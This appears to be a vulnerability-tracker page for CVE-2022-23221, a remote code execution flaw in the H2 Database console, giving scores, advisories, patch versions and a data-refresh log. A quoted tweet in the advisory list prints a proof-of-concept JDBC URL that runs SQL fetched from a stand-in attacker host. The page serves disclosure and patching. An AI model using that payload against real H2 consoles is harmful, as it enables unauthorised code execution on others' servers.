CVE-2022-23221

CRITICALNVD 9.89.8—
EchelonGraph scoreMEDIUM confidence

This critical-severity CVE scores 9.8 under NVD CVSS v3. EPSS exploit probability: 65% (99th percentile of EPSS-scored CVEs). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: epss, nvd
Weaponized
9.8EG
EchelonGraph verdictPatch this weekExploitation is likely or a public exploit exists.
  • High exploitation likelihood — EPSS 65%
  • Public exploit code is available (ssvc poc, epss top5pct, epss high)
CISA-KEV: Not listedEPSS PROB: 65%CVSS: 9.8Exploit: ssvc poc · epss top5pct · epss highExposed services: Not assessed

A fix is available — apply it.

H2 Console before 2.1.210 allows remote attackers to execute arbitrary code via a jdbc:h2:mem JDBC URL containing the IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT substring, a different vulnerability than CVE-2021-42392.

CVSS v3
9.8
EG Score
9.8CRITICALmedium confidence
EG Risk
85
EG Risk 85/100CISA SSVC

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity98% × 45%
Exploitation65% × 40%
Automatability100% × 15%
CISA SSVC: Track at low, Track* at medium and Attend at high mission impact.
Action: A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.
EPSS PROB
65%
EPSS %ILE
99th
KEV
Not listed

CISA SSVCTrack at low, Track* at medium and Attend at high mission impact.

A fix is available. Apply it within your standard update timelines at low or medium mission impact and sooner than that at high.

Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Mission impact is CISA's Mission & Well-being decision point, and only you can judge it: high means the affected system is essential to your organisation's mission, or its compromise could cause irreversible harm to people. CISA's decision table

Published

January 19, 2022

Last Modified

May 5, 2025

Advisory Details (8)

Auto-updated Oct 10, 2026
Patch available. Sources: github_release, github.
generic

[SECURITY] [DSA 5076-1] h2database security update

https://www.debian.org/security/2022/dsa-5076
generic

ismail on X: "Another unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221. Fixed in v2.1.210+. PoC: jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker/evil.sql';'\" / X

https://twitter.com/d0nkey_man/status/1483824727936450564
generic

NetApp Product Security

https://security.netapp.com/advisory/ntap-20230818-0011/
genericMentions a patch (unverified)

[SECURITY] [DLA 2923-1] h2database security update

https://lists.debian.org/debian-lts-announce/2022/02/msg00017.html
github

Security Advisories · h2database/h2database · GitHub

https://github.com/h2database/h2database/security/advisories
github_release Patch Available

Version 2.1.210

Patch available: h2database/h2database version-2.1.210

https://github.com/h2database/h2database/releases/tag/version-2.1.210
generic

Full Disclosure: Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

http://seclists.org/fulldisclosure/2022/Jan/39
generic

Packet Storm

http://packetstormsecurity.com/files/165676/H2-Database-Console-Remote-Code-Execution.html

Vendor Advisories for CVE-2022-23221(6)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(7)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
ubuntulibh2-java-doc (1.4.197-4+deb10u1build0.21.10.1) @ impish2026-05-26ubuntu
ubuntulibh2-java-doc (1.4.191-1ubuntu0.1~esm1) @ xenial2026-05-26ubuntu
redhateap7-xml-security-0:2.2.3-2.redhat_00001.1.el7eap2024-11-25redhat
redhateap7-h2database-0:1.4.197-2.redhat_00005.1.ep7.el72024-11-25redhat
redhath22022-07-07redhat
redhateap7-h2database-0:1.4.197-2.redhat_00004.1.el8eap2022-06-06redhat
redhateap7-h2database-0:1.4.197-2.redhat_00004.1.el7eap2022-06-06redhat

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(7 across 7 ecosystems)
Debian:10(1)
PackageVulnerable rangeFix by version rangeDependents
h2database1.4.197-4
  • every version up to 1.4.197-4+deb10u1: fixed in 1.4.197-4+deb10u1
—
Debian:11(1)
PackageVulnerable rangeFix by version rangeDependents
h2database1.4.197-4
  • every version up to 1.4.197-4+deb11u1: fixed in 1.4.197-4+deb11u1
—
Debian:12(1)
PackageVulnerable rangeFix by version rangeDependents
h2database—
  • every version up to 2.1.210-1: fixed in 2.1.210-1
—
Debian:13(1)
PackageVulnerable rangeFix by version rangeDependents
h2database—
  • every version up to 2.1.210-1: fixed in 2.1.210-1
—
Debian:14(1)
PackageVulnerable rangeFix by version rangeDependents
h2database—
  • every version up to 2.1.210-1: fixed in 2.1.210-1
—
Debian:9(1)
PackageVulnerable rangeFix by version rangeDependents
h2database1.4.193-1
  • every version up to 1.4.193-1+deb9u1: fixed in 1.4.193-1+deb9u1
—
Maven(1)
PackageVulnerable rangeFix by version rangeDependents
com.h2database:h21.0.20061217 ... 2.0.206 (131 versions)
  • every version up to 2.1.210: fixed in 2.1.210
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Additional Vendor Advisories

(2)

Vendors that published advisories for this CVE beyond the curated set above. Broader coverage but minimal per-row detail — click through for the original advisory.

Data Freshness Timeline

(refreshed 4× in last 7d / 20× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 127 total refreshes for this CVE.

  1. 2026-10-10 19:56 UTCEPSS rescore
  2. 2026-10-09 20:04 UTCEPSS rescore
  3. 2026-10-07 23:45 UTCEPSS rescore
  4. 2026-10-06 15:14 UTCEPSS rescore
  5. 2026-10-03 14:23 UTCEPSS rescore
  6. 2026-10-03 14:22 UTCEPSS rescore
  7. 2026-09-30 15:50 UTCEG score recompute
  8. 2026-09-30 15:00 UTCEPSS rescore
  9. 2026-09-27 13:41 UTCEPSS rescore
  10. 2026-09-25 07:35 UTCOSV refresh
  11. 2026-09-24 14:00 UTCEPSS rescore
  12. 2026-09-23 13:45 UTCEPSS rescore
  13. 2026-09-20 20:13 UTCEPSS rescore
  14. 2026-09-17 19:23 UTCEPSS rescore
  15. 2026-09-16 14:05 UTCEPSS rescore
  16. 2026-09-15 03:06 UTCEPSS rescore
  17. 2026-09-13 16:43 UTCEPSS rescore
  18. 2026-09-12 14:57 UTCEPSS rescore
  19. 2026-09-11 14:49 UTCEPSS rescore
  20. 2026-09-11 09:33 UTCEPSS rescore
  21. 2026-09-07 15:58 UTCEPSS rescore
  22. 2026-09-06 13:45 UTCEPSS rescore
  23. 2026-09-05 22:51 UTCOSV refresh
  24. 2026-09-05 15:25 UTCEPSS rescore
  25. 2026-09-04 13:57 UTCEPSS rescore
Show 75 more
  1. 2026-09-02 14:09 UTCEPSS rescore
  2. 2026-09-01 13:51 UTCEPSS rescore
  3. 2026-08-30 19:14 UTCEPSS rescore
  4. 2026-08-30 01:19 UTCEPSS rescore
  5. 2026-08-28 21:38 UTCEPSS rescore
  6. 2026-08-27 14:22 UTCEPSS rescore
  7. 2026-08-26 14:43 UTCEPSS rescore
  8. 2026-08-25 13:46 UTCEPSS rescore
  9. 2026-08-25 13:46 UTCEPSS rescore
  10. 2026-08-24 14:13 UTCEPSS rescore
  11. 2026-08-21 23:46 UTCEPSS rescore
  12. 2026-08-20 22:52 UTCEPSS rescore
  13. 2026-08-19 17:01 UTCEPSS rescore
  14. 2026-08-19 09:59 UTCOSV refresh
  15. 2026-08-18 13:45 UTCEPSS rescore
  16. 2026-08-16 02:11 UTCEPSS rescore
  17. 2026-08-15 01:27 UTCEPSS rescore
  18. 2026-08-13 21:57 UTCEPSS rescore
  19. 2026-08-12 13:48 UTCEPSS rescore
  20. 2026-08-09 13:44 UTCEPSS rescore
  21. 2026-08-08 16:34 UTCEPSS rescore
  22. 2026-08-07 16:24 UTCEPSS rescore
  23. 2026-08-06 13:44 UTCEPSS rescore
  24. 2026-08-04 05:27 UTCOSV refresh
  25. 2026-07-30 16:25 UTCEPSS rescore
  26. 2026-07-30 01:28 UTCEPSS rescore
  27. 2026-07-28 15:33 UTCEPSS rescore
  28. 2026-07-26 14:52 UTCEPSS rescore
  29. 2026-07-26 14:52 UTCEPSS rescore
  30. 2026-07-25 14:15 UTCEPSS rescore
  31. 2026-07-24 14:15 UTCEPSS rescore
  32. 2026-07-23 02:08 UTCEG score recompute
  33. 2026-07-22 22:55 UTCEG score recompute
  34. 2026-07-22 14:06 UTCEPSS rescore
  35. 2026-07-22 14:06 UTCEPSS rescore
  36. 2026-07-20 17:05 UTCEPSS rescore
  37. 2026-07-19 14:29 UTCEPSS rescore
  38. 2026-07-18 02:59 UTCOSV refresh
  39. 2026-07-16 17:00 UTCEPSS rescore
  40. 2026-07-16 17:00 UTCEPSS rescore
  41. 2026-07-15 16:56 UTCEPSS rescore
  42. 2026-07-15 16:56 UTCEPSS rescore
  43. 2026-07-13 22:27 UTCEPSS rescore
  44. 2026-07-12 05:44 UTCEPSS rescore
  45. 2026-07-11 08:25 UTCEPSS rescore
  46. 2026-07-09 19:07 UTCEPSS rescore
  47. 2026-07-08 15:12 UTCEPSS rescore
  48. 2026-07-05 02:28 UTCEPSS rescore
  49. 2026-07-01 15:04 UTCEPSS rescore
  50. 2026-06-29 22:44 UTCOSV refresh
  51. 2026-06-28 14:06 UTCEPSS rescore
  52. 2026-06-27 03:07 UTCEPSS rescore
  53. 2026-06-25 13:48 UTCEPSS rescore
  54. 2026-06-24 14:03 UTCEPSS rescore
  55. 2026-06-24 14:03 UTCEPSS rescore
  56. 2026-06-23 21:31 UTCEPSS rescore
  57. 2026-06-23 21:31 UTCEPSS rescore
  58. 2026-06-21 01:58 UTCEPSS rescore
  59. 2026-06-21 01:58 UTCEPSS rescore
  60. 2026-06-18 17:51 UTCEPSS rescore
  61. 2026-06-18 17:51 UTCEPSS rescore
  62. 2026-06-17 17:51 UTCEPSS rescore
  63. 2026-06-17 17:51 UTCEPSS rescore
  64. 2026-06-16 17:51 UTCEPSS rescore
  65. 2026-06-15 17:46 UTCEPSS rescore
  66. 2026-06-14 23:15 UTCEPSS rescore
  67. 2026-06-14 23:15 UTCEPSS rescore
  68. 2026-06-12 23:10 UTCEPSS rescore
  69. 2026-06-12 23:10 UTCEPSS rescore
  70. 2026-06-12 11:10 UTCOSV refresh
  71. 2026-06-11 13:58 UTCEPSS rescore
  72. 2026-06-11 13:58 UTCEPSS rescore
  73. 2026-06-10 22:16 UTCEPSS rescore
  74. 2026-06-10 13:20 UTCEPSS rescore
  75. 2026-06-07 15:23 UTCEPSS rescore

Related CVEs(same product + same vendor + same CWE)

Same product

3 shown

Debian:10:h2database · Debian:11:h2database · Maven:com.h2database:h2

Frequently asked(5)

What is CVE-2022-23221?
CVE-2022-23221 is a critical vulnerability published on January 19, 2022. H2 Console before 2.1.210 allows remote attackers to execute arbitrary code via a jdbc:h2:mem JDBC URL containing the IGNOREUNKNOWNSETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT substring, a different vulnerability than CVE-2021-42392.
When was CVE-2022-23221 disclosed?
CVE-2022-23221 was first published on January 19, 2022, with the most recent update on May 5, 2025. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2022-23221 actively exploited?
CVE-2022-23221 is not currently on CISA's Known Exploited Vulnerabilities catalog. EchelonGraph's EG-KEV model classifies it as weaponized: a functional public exploit exists. FIRST EPSS estimates a 65% probability of exploitation in the next 30 days (99th percentile of EPSS-scored CVEs).
What is the CVSS score of CVE-2022-23221?
CVE-2022-23221 has a CVSS v3 base score of 9.8 (NVD).
How do I remediate CVE-2022-23221?
A fix for CVE-2022-23221 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2022-23221 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2022-23221

Explore →

Is Your Infrastructure Affected by CVE-2022-23221?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.

Book a Demo →Browse All CVEs